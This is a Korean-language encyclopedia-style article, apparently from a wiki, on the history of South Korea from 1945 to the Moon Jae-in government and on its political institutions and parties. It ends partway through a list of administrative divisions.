대한민국 정부 수립 선포식 1945년 8월 15일부터 1948년 7월까지 38선 이남에서 사용한 태극기 1945년 8월 15일, 일본제국이 미국에 무조건 항복함으로써 대한민국은 일제 치하로부터 벗어나 광복을 맞이하였다. 그러나 광복 이후 한반도는 얄타회담에서 이루어진 비공식적 합의에 따라 소련과 미국의 신탁 통치하에 들어갔다. 1945년 9월에는 한반도의 북위 38도선을 경계로 남쪽은 미군이, 북쪽은 구 소련군이 포고령을 선포하여 각각 군정을 실시하면서 한반도는 남과 북으로 분단되었다. 광복 이후 여운형, 안재홍 등은 1944년 설립한 지하조직인 건국동맹을 모태로 조선건국준비위원회를 개최하였고, 9월 여운형, 박헌영 등에 의해 조선인민공화국 내각이 수립되었다. 그러나 1945년 11월 중화민국 쓰촨성 충칭에서 개인 자격으로 귀국한 대한민국임시정부 요인들과 '임정정통론' 문제로 갈등이 벌어졌고, 미군정은 맥아더 포고령에 따라 인공 내각(조선인민공화국 내각)과 임시정부를 승인하지 않음으로써 인공 내각은 해산되었다. 1945년 12월에 모스크바 3상 회의에서 신탁통치안 문제를 놓고 한반도 내에는 좌, 우익 세력간 대립이 격화되었다. 곧이어 1946년 5월에는 미소공위가 개최되었으나 양측의 주장이 엇갈려 결렬되었다. 이때 김규식, 여운형, 안재홍 등은 통일 임시정부 수립을 위해 좌우합작운동을 개시하여 미소공위를 재개하고자 하였지만, 한민당과 남로당 등 좌우익세력간에 불참으로 중도파 세력만의 운동으로 축소되었다. 1945년 12월 송진우 암살, 1947년 7월에 여운형 암살 등 해방정국의 잇단 사건으로 좌우합작운동은 실패로 끝났다. 대한민국 정부 수립 미 군정은 온건파인 김규식, 안재홍, 여운형을 통해 좌우 합작과 협상을 주도하게 했다. 그러나 헤게모니 장악에서 제외된 것에 불만을 품은 이승만, 김구, 윤치영, 박헌영, 허헌 등의 반발에 봉착하게 되었다. 이후 제2차 미소공위 마저 결렬되어버리자 미국은 한반도 문제를 UN 총회로 이관했고, 총회에서 남한 내 단독정부 수립이 결정되었다. 이에 김규식, 조소앙, 김구 등은 통일 정부를 수립하기 위해 남북협상 등을 추진하여 노력하였으나 수포로 돌아가고, 남한에서도 선거 가능한 지역에 한한 정부 수립론이 제기되면서 (정읍 발언) 사실상 남북단일 정부 수립은 불가능한 모양새가 되었다. 1948년 1월부터 한반도의 정국은 단독 정부 수립론과 남북 협상을 통한 정부 수립론을 놓고 의견이 갈라서게 되었다. 그러나 1948년 2월 38선 이북에서는 북조선인민위원회를 구성하고, 조선인민군을 창건하면서 분단은 사실상 불가피하게 되었다. 5월 10일 38도선 이남에서만 제헌 의원 총선거가 실시되어 제헌 국회가 탄생하였고, 같은 해 7월 17일에는 초대 헌법인 대한민국 제헌 헌법이 구성되었다. 7월 22일에는 국회의 간접 선거로 이승만이 초대 대통령, 이시영이 초대 부통령으로 선출되었고, 8월 15일에는 대한민국 정부 수립이 선포되었다. 위키문헌에 이 글과관련된 원문이 있습니다. United Nations General Assembly Resolution 293 12월 12일 "유엔 총회 결의 195(III) 한국의 독립 문제"에서 대한민국이 "한반도에서 유일하게 그러한 정부(the only such Government in Korea)"임을 선언하였다. 여기서 '그러한'은 대한민국이 임시위원단의 감시 하에서 주민들 대다수의 자유 의사에 따라 수립되었고, (분단상태를 고려할 때)선거가 가능했던 그 지역에 대한 유효한 지배권과 관할권을 가진 합법정부임을 뜻한다. 이미 48년 9월 9일에 한반도 이북에서는 조선민주주의인민공화국이 선포되었음에 미루어 그 해 12월의 결의는 대한민국만을 한반도에서 유일한 합법정부로 인정한 것이다. 한국 전쟁 6·25 전쟁 중 동생을 등에 업고 지나가는 소녀 이 부분의 본문은 한국 전쟁입니다. 조선민주주의인민공화국의 김일성은 남침을 기도하여 공산주의화 하려는 야망을 실현하고자 준비하였다. 소련의 지도자인 이오시프 스탈린의 승인을 받자, 1950년 6월 25일 새벽 4시에 소련에서 지원받은 수십대의 소련제 탱크를 앞세워 대한민국을 침공했다. 당시 대한민국에는 탱크의 공세를 막을 수 있는 방어책이 전혀 없었고 야포와 전투기 등 모든 것이 압도적으로 열세였기 때문에 총만 가진 거의 맨 몸의 한국군은 순식간에 밀려날 수 밖에 없었다. 그렇게 대한민국은 조선인민군이 침략한 3일만에 수도인 서울을 인민군에게 빼앗기게 된다. 치밀하게 계획하고 무장한 인민군을 상대하는 것이 계란으로 바위치기였던 한국군은 결국 밀려나 낙동강 방어선을 최후의 배수진으로 정하고 버티었다. 이 과정에서 수많은 어린 학생들(학도병들)이 무고하게 죽어나갔으며 많은 사상자와 인명피해가 초래되었다. 하지만 UN군이 파병으로 지원하고 UN군 총사령관 더글러스 맥아더가 9.15일 인천 상륙 작전을 벌여 조선인민군에 반격을 시작하자 얼마 지나지 않아 대한민국은 9월 27일에 서울을 탈환해냈다. 10월 1일에는 38도선까지 수복해서 원점으로 돌아갔다. 이 때 유엔 내부에서 맺어진 새로운 결의로 유엔군의 목적이 조선민주주의인민공화국을 완전히 공략하려는 목적으로 변경되었다. 이후 한국과 UN군은 거듭해서 10월 26일에는 압록강까지 올라갔으나 곧 이어 중화인민공화국이 인해전술을 펼치며 참전하고 소련이 군사를 지원하여 전세가 다시 역전되었고 전쟁은 장기화되었다. 이후 38도선 인근 중부 지방에서 교착을 거듭하던 1953년 7월 27일에 휴전협정이 오전 10시에 체결된 후에 효력이 발생한 22시에 완전히 전투가 종료되고 군사 분계선이 형성되면서 오늘날까지 휴전 상태가 이어지고 있다. 한국 전쟁으로 20만 명이 과부가 되었고 10만여 명 이상이 고아가 되었으며 1천만여 명 이상이 이산 가족 신세가 되었다. 한반도 내 45%에 이르는 공업 시설이 파괴된 탓에 경제적, 사회적 암흑기가 도래하여 한국과 북한의 경제 수준이 떨어졌다. 무엇보다도 이 전쟁으로 인해 남북 간에 서로에 대한 적대적 감정이 극도로 팽배하게 되어 한국의 분단이 더욱 고착화되면서, 분단한 지 70여년에 이르고 있다. 제1·2공화국 1960년 4.19 혁명. 이 부분의 본문은 제1공화국, 4·19 혁명, 및 제2공화국입니다. 한국 전쟁이 휴전 협정을 맺은 후 1950년대는 미국으로부터 지원을 받아 전후복구사업을 실시하는 가운데 경제원조체제가 성립되던 시기였다. 제1공화국 정권의 고위 관료는 부패해 국민의 불만을 샀다. 의원 내각제였던 제1대 내각에서 재선이 불가능하다 판단한 이승만은 이범석과 장택상을 비롯한 측근들과 족청계, 백골단, 땃벌떼 등을 동원하여 부산정치파동(1952년), 사사오입 개헌(1954년)을 일으키고 장기집권을 추진했다. 그러나 이범석, 장택상 등의 성장을 두려워한 이승만은 이들을 제거하고 이기붕 계열을 등용한다. 이기붕 계열은 또한 친 자유당 성향의 이정재, 임화수, 유지광 등의 정치깡패들을 활용하여 야당 의원의 집회를 탄압, 제1공화국 후반기는 혼란을 거듭했다. 그 와중에 부통령 장면의 피격 사건(1958)과 조봉암 사법살인(1959) 등의 조치까지 겸해졌고 언론의 자유마저 통제당했다. 1959년의 한일회담이 끝나자 곳곳에서 정부의 독재에 저항하는 집회가 시작, 1960년 3월 15일 부통령 선거의 부정을 계기로 국민들의 불만은 극에 달해 4·19 혁명이 발생했고, 마산 앞바다에서 며칠 전 실종되었던 김주열의 주검이 떠오르면서 시위는 격화되었다. 4월 26일 이승만 대통령이 하야를 선언하여 제1공화국은 붕괴했다. 제2공화국 국무총리 장면 4·19 혁명 이후 허정 과도 내각을 거쳐 장면을 수상으로 하는 제2공화국이 수립됐다. 제2공화국은 3차 개헌을 통해 내각책임제와 양원제를 구성했고, 언론 자유와 혁신계 정치활동을 허용했다. 제2공화국 당시 각계 각층의 통일 운동과 민주화 요구가 분출되기도 했는데, 집권 여당인 민주당 사이에서 신파와 구파가 나뉘어버려서 개혁 의지가 미약한 탓에 이러한 요구들을 수용하지 못했다. 곳곳에서 데모가 연이어 벌어졌고, 장면이 단호한 조치를 계획하던 중 1961년 5월 16일 새벽 5·16 쿠데타로 내각 각료들이 체포되면서 장면 내각은 1년 남짓밖에 집권하지 못하고 무너졌다. 그 뒤 윤보선은 형식적인 민정을 실시하였으나 군사정변 세력에게 구정치인 정화법(1962)으로 정치활동을 정지당하자 여기에 불만을 품고 사퇴(1962.3.22)함으로써 1962년 3월부터 1963년 12월까지 5·16 군사정변 세력이 설립한 국가재건최고회의가 사법권·행정권·입법권을 모두 장악하고 군정을 실시했다. 제3·4공화국 1961년 5.16 군사정변 당시 박정희. 이 부분의 본문은 대한민국 제3공화국, 대한민국 제4공화국, 및 최규하 정부입니다. 1963년 12월 5·16 군사 정변을 주도한 박정희 등에 의해 제3공화국이 수립됐다. 야당 후보인 윤보선과의 두 차례의 선거전에서 10만 표 안팎의 근소한 차로 집권하였다. 재임 초반 한일 협정을 추진하는 과정에서 공분을 사 일어난 시위를 무력 진압하며 강행했다. 1960년대 개발 독재의 일환으로 정부는 경공업 중심의 수출 주도형 발전과 한일협정·베트남 전쟁 파병 등을 통한 외화 획득으로 경제 발전을 꾀했다. 1970년대에는 중화학 공업과 전자산업을 집중적으로 육성했다. 하지만 도시와 농촌의 소득 격차, 저임금 노동과 빈부격차와 같은 문제도 남겼다. 이후 박정희 정부는 3선 개헌을 통과시키고 1971년 대선에서 3선에 성공한다. 그런데 대선에서 야당 후보가 돌풍을 일으키고 같은 해 총선에서 야당의 의석수가 2배로 늘어나는 선전을 이룬 데다가 제1차 석유 파동 등으로 경제성장도 한계를 보이기 시작하면서 정권 유지에 위기를 느낀 박정희 정부는 1972년 유신 헌법을 통과시키고, 제4공화국을 선포하였다. 1971년 대통령 선거에서 야당의 돌풍으로 불안감을 느낀 박정희는 1972년 7·4 남북공동성명을 발표하고, 통일을 준비한다는 명목으로 10월 유신을 선포해 유신체제를 수립했다. 이를 통해 대통령의 임기를 6년 연임제로 수정하는가 하면 국회의원을 대통령이 임명하게 할 수 있는 법안까지 통과시키는 등 대통령의 권한을 비정상적으로 확대시켰다. 이에 노동운동계, 재야와 학생 세력 등이 민주화를 요구하지만, 정부는 잇따른 긴급조치를 통해 억눌렀다. 하지만 민주화 운동 세력 및 노동운동가의 반발은 계속되었다. 미국이 한국의 '인권 침해'를 비판하기 시작하자 한미 간 외교적 마찰이 일어났다. 제2차 석유 파동까지 겪으면서 경제위기와 내부 혼란이 크게 가중되었다. 김영삼 의원제명 파동과 YH 무역 농성 사건, 부마 항쟁 등의 사회적 저항이 지속되었다. 이러한 일들은 권력 내부의 분열을 초래하였으며, 1979년 박정희가 중앙정보부장 김재규에게 암살되면서(10·26 사건) 박정희의 17년 장기 집권은 막을 내렸다. 10·26 사건 이후 유신 체제 하에서 국무총리 최규하가 이끄는 정부가 출범했다. 유신 헌법 폐지를 통해 민주화를 추진하려는 움직임이 나타나던 시기, 최규하 정부는 긴급조치를 해제함으로써 일부 정치적 억압을 완화했고, 1979년 12월과 1980년 2월, 1980년 4월에 대사면령을 단행하였다. 그러나 전두환을 비롯한 이들이 12월 12일에 군사반란을 일으켜 실권을 장악하였고, 급기야 최규하 대통령에게 간섭하기 시작했다. 이들은 1980년 쿠데타를 일으키면서 최규하 정부는 1980년 8월 최규하 대통령의 사임으로 붕괴되고 말았다. 제5공화국 이 부분의 본문은 대한민국 제5공화국입니다. 전두환과 하나회를 중심으로 한 신군부는 12·12 군사 반란을 일으켜 계엄 사령관을 체포하고 군부를 장악하여 실세로 떠올랐고, 민주화 일정을 지체시켰다. 1980년 초부터 국회와 정부는 유신 헌법을 철폐하기 위한 개헌 논의를 진행했고, 대학생과 재야 세력도 정치 일정 제시와 전두환 퇴진 요구를 바탕으로 민주화 시위를 벌였다. 이에 신군부는 5월 17일 비상계엄을 전국확대하면서, 이른바 '화려한 휴가'라고 불리는 포고령을 통해 '정치활동 금지', '보도검열 강화', '휴교령' 등을 선포하고 군병력을 동원해 국회를 폐쇄했다. (5.17 쿠데타) 이 과정에서 신군부는 5·17 쿠데타에 항거한 광주 민주화 운동을 공수부대 및 특전여단을 투입해 유혈진압을 하고, 5월 27일 국가보위비상대책위원회를 만들어 정국을 주도했다. 10월 27일에는 7년 단임의 대통령제를 골자로 한 제5공화국 헌법이 공포되고 이듬해 제5공화국이 출범했다.[22] 제5공화국은 경제 안정에 매진하는 한편, 1981년에는 1986년 아시안 게임, 1988년 서울 올림픽 등을 유치하기도 했다. 또한 야간통행금지 해제 및 교복 자율화 등의 유화 조치를 내걸어 국민들의 불만을 잠재우기도 했다. 한편으로 임기 중반부터 3저호황으로 인한 수출 흑자를 기록했다. 그러나 다른 한편으로는 권위주의적인 독재체제를 성립하고 민주주의 탄압 및 고문·정치사찰·용공조작으로 대변되는 인권 유린행위를 자행했으며, 정경유착·부정축재·친인척 비리가 빈발했다. 1987년 1월 박종철이 고문으로 치사하는 사건이 터지자 정부 퇴진과 민주화 요구의 목소리는 더욱 커졌다. 이에 정부는 호헌조치를 취하며 '개헌할 의도가 없음'을 내세웠고, 국민들의 민주화 요구는 더욱 빗발쳐 6월 항쟁으로 이어졌다. 마침내 전두환 대통령은 민정당 총재 노태우를 통해 6·29 선언을 발표하면서 국민의 개헌 요구를 수용했다. 개정된 헌법에 따라 치러진 제13대 대통령 선거에서는 여당 노태우가 당선되었고, 1988년 2월 취임식과 함께 제5공화국은 막을 내린다. 1988년 서울 올림픽 노태우 정부와 문민정부 이 부분의 본문은 노태우 정부 및 김영삼 정부입니다. 1987년 6월 29일, 당시 민주정의당 총재이자 대통령 후보였던 노태우가 대통령 직선제 등을 주 내용으로 하는 6·29 선언을 발표했다. 이후 여야가 합의하여 대통령 직선제 등을 골자로 한 개헌이 성사되었다. 이로써 야권의 정치 참여가 허용되었으며, 1988년 치러진 제13대 총선에서는 사상 최초의 '여소야대' 국회가 나왔다. 민주정의당은 불리한 여론을 극복하는 돌파구로 3당 합당을 추진해 민주자유당을 탄생시켰다. 또한 전두환 측근에 대한 사법조치를 단행(국정감사)하고 민간인들을 정계에 대폭 고용하기도 했다(과거와의 단절). 외교 면에서 노태우 정부는 북방정책을 추진해 구 소련을 비롯한 공산권 국가들과의 수교 등 관계 개선에 주력했다. 1991년 9월 유엔의 가맹국이 되었으며, 이어서 12월에는 남북기본합의서를 채택했다. 또한 1992년에는 지방 자치 제도를 실시하게 되었다. 그러나 노태우도 전두환처럼 군인 출신이었고, 12·12 사태를 주도하고 5공 성립 과정에 깊숙히 관여한 인물이라는 한계가 있었다. 노태우 정부도 정경유착은 물론 비자금 형성·민간인 사찰·고문 등 5공의 파쇼 정치를 그대로 답습했다(이 때문에 노태우 정권을 군사정권의 연장선으로 이해하는 시각도 있다). 이는 결국 민주화 시위(1991) 등으로 이어졌고, 노태우는 이른바 '6공 황태자'로 불리던 박철언을 후계자로 지명했지만 여당 내에서도 불만이 터져나왔으며 끝내 김영삼을 후계자로 택할 수밖에 없었다. 1993년 문민정부가 출범함으로써 노태우 정부는 막을 내렸다. 1992년 치러진 제14대 대선에서 민주자유당의 김영삼 후보가 당선되어 1993년에 취임하면서 대한민국은 이른바 문민정부 시대로 접어들었다. 이로써 윤보선 정부 이후 30여년만에 민간인 정부로 회귀했다. 문민정부는 하나회 군부 숙청, 금융실명제, 표현의 자유 허용, 역사 바로 세우기 운동, 지방자치 단체장 선거 부활, OECD 가입 등의 업적을 남겼다. 특히 군사 정변을 주도할 위험이 있는 군 내 사조직을 숙청하고, 12.12 관련자 및 5.18 관련 정치군인들을 처벌하기도 했다. 하지만 대한항공기 괌 추락 사고, 우암상가아파트, 성수대교 와 삼풍백화점 붕괴 사고 등의 대형 사고가 일어나 사회적인 혼란을 겪기도 했다. 또한 자유방임적 시장경제와 세계화를 추구하면서 준비없는 대규모 개방을 강행했고, 외환관리에 실패해 IMF 구제금융사건을 초래하였다. 결국 국민들의 높아진 요구를 충족시키지 못한 채 야당에게 정권을 이양할 수밖에 없었다. 국민의 정부와 참여정부 이 부분의 본문은 김대중 정부 및 노무현 정부입니다. 1997년 치러진 제15대 대선에서 새정치국민회의의 김대중 후보가 당선되면서 헌정 사상 최초의 평화적인 정권교체가 실현되었다. 국민의 정부가 들어서면서 당면한 가장 큰 과제는 IMF 위기의 극복이었다. 국민의 정부는 '자유주의' 경제정책 추진과 금모으기 운동 등을 통해, 2001년까지 외채를 조기 상환해 IMF 관리 체제에서 벗어났으며, 국제 기준에 맞춘 자율적인 구조조정 체제를 도입해 기업의 체질개선 등을 단행했다.[23] 국민의 정부는 한반도의 평화와 인권 신장에 기여했다. 특히 대북관계에 있어서 햇볕정책을 추진하기 위해 분단 이후 처음으로 평양을 방문, 김정일 국방위원장과 남북정상회담을 하였다. 그러나 남북정상회담을 위해 2000억원에 달하는 현금을 북한 정권에게 불법 송금했다는 혐의가 사후 드러나 큰 비판을 받았다. 대북유화책을 추진했지만 연평해전, 핵실험 등 북한의 지속적인 도발이 계속되어 햇볕정책의 실효성에 의문이 제기되었다. 또한, IMF 위기 극복을 위해 국민의 정부가 추진했었던 신자유주의 정책은 승자 독식의 기형적 사회구조를 구축했다는 비판이 있으며, 지나친 구조조정과 기업 매각 등으로 대량의 실업자를 양산했다는 부정적 평가가 일부 존재한다. 2002년 치러진 제16대 대선에서는 새천년민주당의 노무현 후보가 당선되면서 2003년 참여정부가 출범하였다. 2004년에는 대통령 탄핵 소추를 겪는 등 위기를 맞기도 했으나, 여론의 반발과 헌법재판소의 기각 결정으로 노무현 대통령은 직에 복귀했으며, 2004년 제17대 총선에서 여당인 열린우리당이 탄핵역풍을 맞은 야당을 누르고 과반수 의석을 차지하면서 국정 탄력을 받았다. 참여 정부는 권위주위 타파, 균형 발전 등 개혁적이고 진보적인 정책을 수립했다. 진실 화해를 위한 과거사 정리위원회 설치를 통한 과거사 정리, 세종특별자치시 추진으로 균형 발전을 꾀했다는 평가가 있다. 하지만, 참여정부는 현실을 고려하지 않은 지나친 개혁과 대통령의 과격한 발언 등으로 보수층과 중도층의 반발을 불러왔고, 노무현 대통령의 형인 노건평 씨의 측근 비리 등 각종 악재로 인하여 임기 중반에 지지율이 하락하기도 하였다. 경제적으로는 부동산 가격 폭등, 양극화를 심화시켰으며, 양극화의 원인으로 제시되어 많은 사회적 논란을 낳은 비정규직 문제를 해결하지 못했다. 또한 노무현 재임 당시 교육부총리였던 김진표가 추진한 정책으로 인하여 대학 등록금도 큰 폭으로 상승하는 등 서민의 경제적 어려움을 가중시켰다는 지적도 있다. 이명박 정부와 박근혜 정부 이 부분의 본문은 이명박 정부 및 박근혜 정부입니다. 2007년 치러진 제17대 대선에서 한나라당의 이명박 후보가 대통령에 당선되었다. 이명박 정부는 7대 강국, 4만달러 시대, 7% 성장('747 공약')을 내세웠다. 하지만 집권 초인 2008년 미국발 세계 금융 위기의 여파로 인한 경제적 위기와, 광우병소 수입 반대 촛불집회로 인한 정치적 위기를 동시에 겪었다. 금융위기를 극복하기 위해 이명박 정부는 여러 정책을 시도하는데, 그 중 대표적인 것이 4대강 사업이다. 4대강 사업은 건설경기를 살렸고 홍수 피해를 줄였다는 긍정적 평가와 세금 낭비와 환경파괴라는 부정적 평가가 각각 존재한다. 2010년에는 G20정상회의 개최와, 2012년 핵안보정상회의를 개최하여 외교적 성과를 이뤘고, 금융위기 극복, 국가신용등급 향상, 원전 수주 등 다양한 성과를 거두었다는 긍정적인 평가가 있다. 하지만 미디어법 개정으로 언론장악이 아니냐는 비판도 있으며, 세종시 수정안과 같이 여러 정책들의 추진에 대한 찬반 양론이 존재한다. 또한, 종합부동산세 폐지로 부자 감세 의혹이 제기되었고,[24] 야심차게 추진한 자원외교에 대해서는 세금 낭비와 비리 의혹이 제기되어 논란이 되고 있다.[25] 박근혜 대통령 퇴진 운동 2012년 치러진 제18대 대선에서는 새누리당의 박근혜 후보가 대통령에 당선되었다. 그러나 국정원의 선거 개입 의혹이 제기되며 출범부터 논란에 휩싸였고, 이어 잇따른 인사의 실패로 국정운영에 어려움을 겪었다. 더구나 2014년 4월 세월호 참사와 2015년 메르스 사태 등으로 재난 대책에 미숙한 모습을 드러내었으며, 창조경제와 노동개혁, 국정교과서 추진, 한일 위안부 합의, 사드(THAAD, 고고도 미사일 방어 체계) 배치 결정, 통합진보당 해체 등 여러 정책에 대해 사회적 비판과 갈등을 겪은 데다가 2016년 4월 제20대 총선에서 여소야대 국회가 다시금 등장하면서 정치적 위기를 맞았다. 결국 2016년 10월 민간인 신분인 최순실 씨의 국정 농단 사태(박근혜-최순실 게이트)가 밝혀지면서 박근혜 대통령 퇴진 운동이 시작되었고, 국회는 박근혜 대통령 탄핵 소추안을 가결시키며 박근혜 대통령의 권한이 정지, 황교안 대통령 권한대행 체제가 확립되었다. 2017년 3월 10일 헌법재판소의 탄핵 인용으로 박근혜 대통령은 헌정 사상 최초로 파면된 대통령이 되었다. 문재인 정부 이 부분의 본문은 문재인 정부입니다. 취임 선서를 하는 문재인 대통령 2017년 5월 10일에 치러진 제19대 대선에서 더불어민주당의 문재인 후보가 대통령으로 당선되었다. 문재인 정부는 임기 초반기부터 7~80%대의 높은 지지율을 유지했으며, 탈권위주의 정책 및 적폐청산 정책으로 국민들의 호응을 받았다. 하지만 5대 원칙 공약 파기 및 부실한 인사들을 무리하게 임명하여 논란이 일었고 또 문재인 케어 논란, 탈원전 논란, 코리아 패싱 등으로 계속 논란이 일었다. 그리고 2018년 초반기에 들어서서 남북 단일팀 논란, 가상화폐 규제 등을 무리하게 밀어붙이고 미세먼지 공약 미이행 논란까지 불거지면서 보수층과 중도층, 젊은층의 반발로 지지율이 하락했다. 그러나 탈권위주의 정책과 적폐청산 정책을 과감히 추진하고 평창 동계올림픽의 흥행으로 다시 지지율이 상승했다. 하지만 대한민국의 미투 운동에 더불어민주당의 일부 정계인사들이 연루되고, 금융감독원장에 임명된 김기식이 여러 논란에 휩싸임과 동시에 더불어민주당원 댓글 조작 사건이 불거지면서 다시 위기에 몰렸으나 2018년 제1차 남북정상회담과 2018년 제2차 남북정상회담을 통해서 평화무드를 조성하면서 지지율을 크게 상승시켰고, 이어진 제7회 전국동시지방선거에서 더불어민주당이 크게 승리하면서 국정운영에 계속 탄력을 받게 되었다. 하지만 지방선거 이후 경제가 하락하고 제주 난민 사태, 일자리 정책 실패, 최저임금 인상 논란, 근로시간 주52시간 단축 논란, 부동산 대책 논란, 리비아 한국인 납치 사건 대처 미흡 논란, 북한 석탄 밀수 사건, 국방백서 북한 주적 삭제 논란, 통계청장 경질 논란이 불거지고 이에 대해 문재인 정부가 주변의 비판여론에도 불구하고 밀어붙이면서 보수층, 중도층, 젊은층의 반발을 불러일으키면서 문재인 정부의 지지율이 계속 하락했다. 그러나 2018년 제3차 남북정상회담을 잘 이끌어내면서 지지율이 다시 상승기류를 탔다. 하지만 이후로는 경제 불황과 소득주도성장에 대한 부작용이 다시 이슈가 되고 북미 비핵화 협상 교착화와 혜경궁 김씨 논란, 그리고 청와대 의전비서관의 음주운전과 청와대 민정수석실 특별감찰반 일탈 논란으로 다시 지지율이 하락하고 있다. 정치 이 부분의 본문은 대한민국의 정치입니다. 대한민국 임시정부는 1919년 4월 13일에 중화민국 상하이에서 수립되었으며 1945년 8월 15일 일본 제국으로부터 해방되었다. 신탁 통치 찬반을 놓고 좌파 진영과 우파 진영 간의 갈등이 극에 달하게 되었으며, 이후 미국과 구 소련의 분할 군정에 놓여 있다가, 1948년 5월 10일 총선을 거쳐 7월 17일 첫 헌법이 제정되었고 8월 15일에 대한민국임시정부의 정통성을 이어받은 대한민국 정부로 공식 출범하게 된다. 대한민국은 자유민주적 기본절서에 입각한 자유 민주 공화국으로 대통령제를 기본으로 하여 의원내각제적 요소를 혼합한 정치 제도(그 예로 국무총리가 존재하고, 국회의원이 장·차관급 공직자를 지낼 수 있다)를 채택하고 있고, 대한제국이 일본에 의해 멸망한 후 3·1 운동 정신으로 창립된 대한민국 임시정부의 법통과 독재의 불의에 항거한 4·19 혁명의 민주주의 이념을 계승함을 헌법 전문에 명백히 밝혀두고 있다. 한편 대한민국 헌법은 1948년 7월 17일 공포되었으며 개인의 인권을 존중하고 사유재산을 인정하고 있다. 그 이후에도 헌법은 9차례에 걸쳐 개정되었다. 그 가운데 박정희 때의 유신 헌법은 긴급조치 등 대통령의 권한을 강화해 국민의 자유기본권을 제약하는 비민주적이었지만 그 당시 국내외를 둘러싼 환경에 의해 불가피한 조치였다는 다른 시각도 있다. 현재 발효 중인 헌법은 제6공화국의 수립에 따라 1987년 여야 합의를 통해 개정되었다. 또한 3권 분립의 원칙에 따라 독립적인 세 개의 권력 기관을 근간으로 하여 국가를 구성하고 있다. 정부 입법부 국회의사당 이 부분의 본문은 대한민국 국회입니다. 입법부의 주축을 이루고 있는 대한민국 국회는 현재 총 300석의 단원제로 구성되어 있다. 대한민국 임시정부의 입법부였던 임시의정원을 기원으로 두고 있으며, 1948년 5월 10일 구성된 제헌국회가 대한민국 최초의 국회이다. 매년 1회의 정기회(100일 이내)와 30일 이내의 임시회가 열리며, 회기 중에 국회는 법의 의결권과 예산안의 심사, 국정 감사와 헌법에 명시된 기관장의 임명 동의 및 조약의 체결 및 비준 동의 등의 활동을 한다. 대한민국 국회의원의 임기는 4년이며, 임기 중 의사진행과 관한 발언에 대한 면책특권과 회기 중 불체포특권을 가진다. 공직선거법에 따른 피선거권을 충족한 인물로, 국회의원 총선거나 재선거 및 보궐선거, 혹은 대한민국 중앙선거관리위원회의 비례대표 의석승계 결정에 따라 선출된다. 대한민국 국회의장과 부의장은 국회의원 중에서 본회의의 무기명 투표를 거쳐 선출되며, 그 임기는 국회 회기의 절반에 해당되는 2년이다. 행정부 이 부분의 본문은 대한민국 정부입니다. 정부서울청사 대한민국의 행정부에 해당하는 대한민국 정부는 대통령을 수반으로 하여 입법부에서 법률로써 정한 사안들을 실행한다. 대통령은 국무총리와 국무위원으로 구성된 국무회의의 조력을 받아 업무를 처리한다. 대통령은 5년 단임으로 국민의 보통, 평등, 직접, 비밀 선거에 의하여 선출된다. 대통령은 국회가 통과한 법률을 거부할 권한이 있다. 그러나 한 번 거부한 법률을 국회가 다시 통과시킨다면(단, 국회는 재적의원 과반수의 출석과 3분의 2의 동의를 얻어야 한다.) 그 법률은 그대로 통과된다. 대통령은 헌법재판소의 재판관 3인과 대법관 등을 임명할 수 있다. 대통령은 조약을 체결·비준하고, 외교사절을 신임·접수 또는 파견하며, 선전포고와 강화를 할 권한을 가지고 있으며, 국군을 통수하며 공무원 임명을 할 수 있는 등 국정 전반에 걸쳐 방대한 권한을 행사한다. 대통령의 명을 받아 내각을 통할하기 위하여, 대통령의 보좌기관으로서 국무총리를 두고 있다. 국무총리는 대통령이 임명하되 국회의 동의를 받아야 한다. 국무총리는 내각의 구성원을 대통령에게 임명을 제청하며 내각을 통솔한다. 대통령의 유고 시 국무총리가 대통령의 권한을 대행하게 되며 국무총리가 유고시 경제부총리 겸 기획재정부 장관, 사회부총리 겸 교육부 장관 순으로 권한을 대행한다. 사법부 대법원 이 부분의 본문은 대한민국의 법원입니다. 대한민국의 사법부는 대다수의 현대 국가들과 마찬가지로, 재판에 있어서 공정한 심판을 위해 3심제로 이루어져 있다. 대법원을 최고법원으로, 그 밑에 고등법원, 지방법원, 지방법원의 지원과 특허법원, 가정법원, 행정법원 등의 전문성을 요구하는 법률 심사를 위해 설치된 특수법원(여기에서의 재판은 1심의 판결과 동일하다.)으로 구성되어 있다. 대한민국 국군의 경우 군사법원법에 따라 군사재판을 할 수 있으나, 최종심은 대법원이 관할한다. 한편 법원과는 별도로 각종 법령 등의 위헌 여부를 심사하는 헌법 재판소가 구성되어 있다. 헌법재판소에서는 법률이 헌법에 위배되는지를 판가름하는 위헌법률심판, 대통령을 비롯한 공무원의 탄핵 소추를 심사하는 탄핵심판, 위헌 정당의 해산 여부를 심사하는 정당해산심판, 권한쟁의심판, 헌법소원심판 등을 심사한다. 헌법재판소의 재판관은 총 9명이며, 대통령, 국회, 대법원장이 각각 3명씩 선출하고 대통령이 임명한다. 헌법재판소장은 대통령이 국회의 동의를 얻어 임명한다. 최고 법원인 대법원의 법관인 대법관은 대법원장의 제청에 따라 국회 동의를 거쳐 대통령이 임명한다. 대법관의 임기는 헌법을 통해 보장되며, 그 연한은 6년이다. 정당 이 부분의 본문은 대한민국의 정당입니다. 대한민국에서는 헌법 제8조에 의해 자유롭게 정당을 결성할 수 있으며, 복수정당제가 보장된다. 가장 최근에는 20대 국회가 2016년 5월 30일부터 개원하였다. 2017년 6월을 기준으로 여당과 1석 차이로 원내 제1당이 된 더불어민주당이 있으며 그 밖의 원내 교섭단체를 구성한 정당(국회에 의석을 20석 이상 가진 정당)으로는 자유한국당, 바른미래당이 있다. 비교섭단체인 정당(국회에 의석을 1석 이상 가진 정당)으로는 정의당, 민주평화당, 민중당, 우리공화당이 있다. 국회에 의석이 없는 정당으로는 노동당, 녹색당 등이 있다. 제20대 총선 당시에는 더불어민주당 123석, 새누리당 122석, 국민의당 38석, 정의당 6석으로 더불어민주당이 원내 제1당이 되었다. 새누리당 공천을 받지 못해 탈당한 새누리당 전 소속 의원들이 무소속으로 당선되면서 새누리당에 재입당 하여 129석으로 새누리당이 다시 원내 제1당이 되었으나, 박근혜-최순실 게이트의 여파로 인해 비박계들이 탈당하였고, 94석으로 줄어 다시 원내 제2당이 되었고, 바른정당 소속의 탈당계가 들어옴에 따라 110석 이상을 확보하였다. 2019년 기준의 정당별 의석 수는 더불어민주당 128석, 자유한국당 114석, 바른미래당 28석[26], 민주평화당 14석, 정의당 6석, 민중당과 대한애국당이 각각 1석이다. 행정 구역 이 부분의 본문은 대한민국의 행정 구역입니다. 특별시 광역시 도 특별자치도 특별자치시 1 서울특별시 2 부산광역시 8 경기도 16 제주특별자치도 17 세종특별자치시 3 대구광역시 9 강원도 4 인천광역시 10 충청북도 5 광주광역시 11 충청남도 6 대전광역시 14 경상북도 7 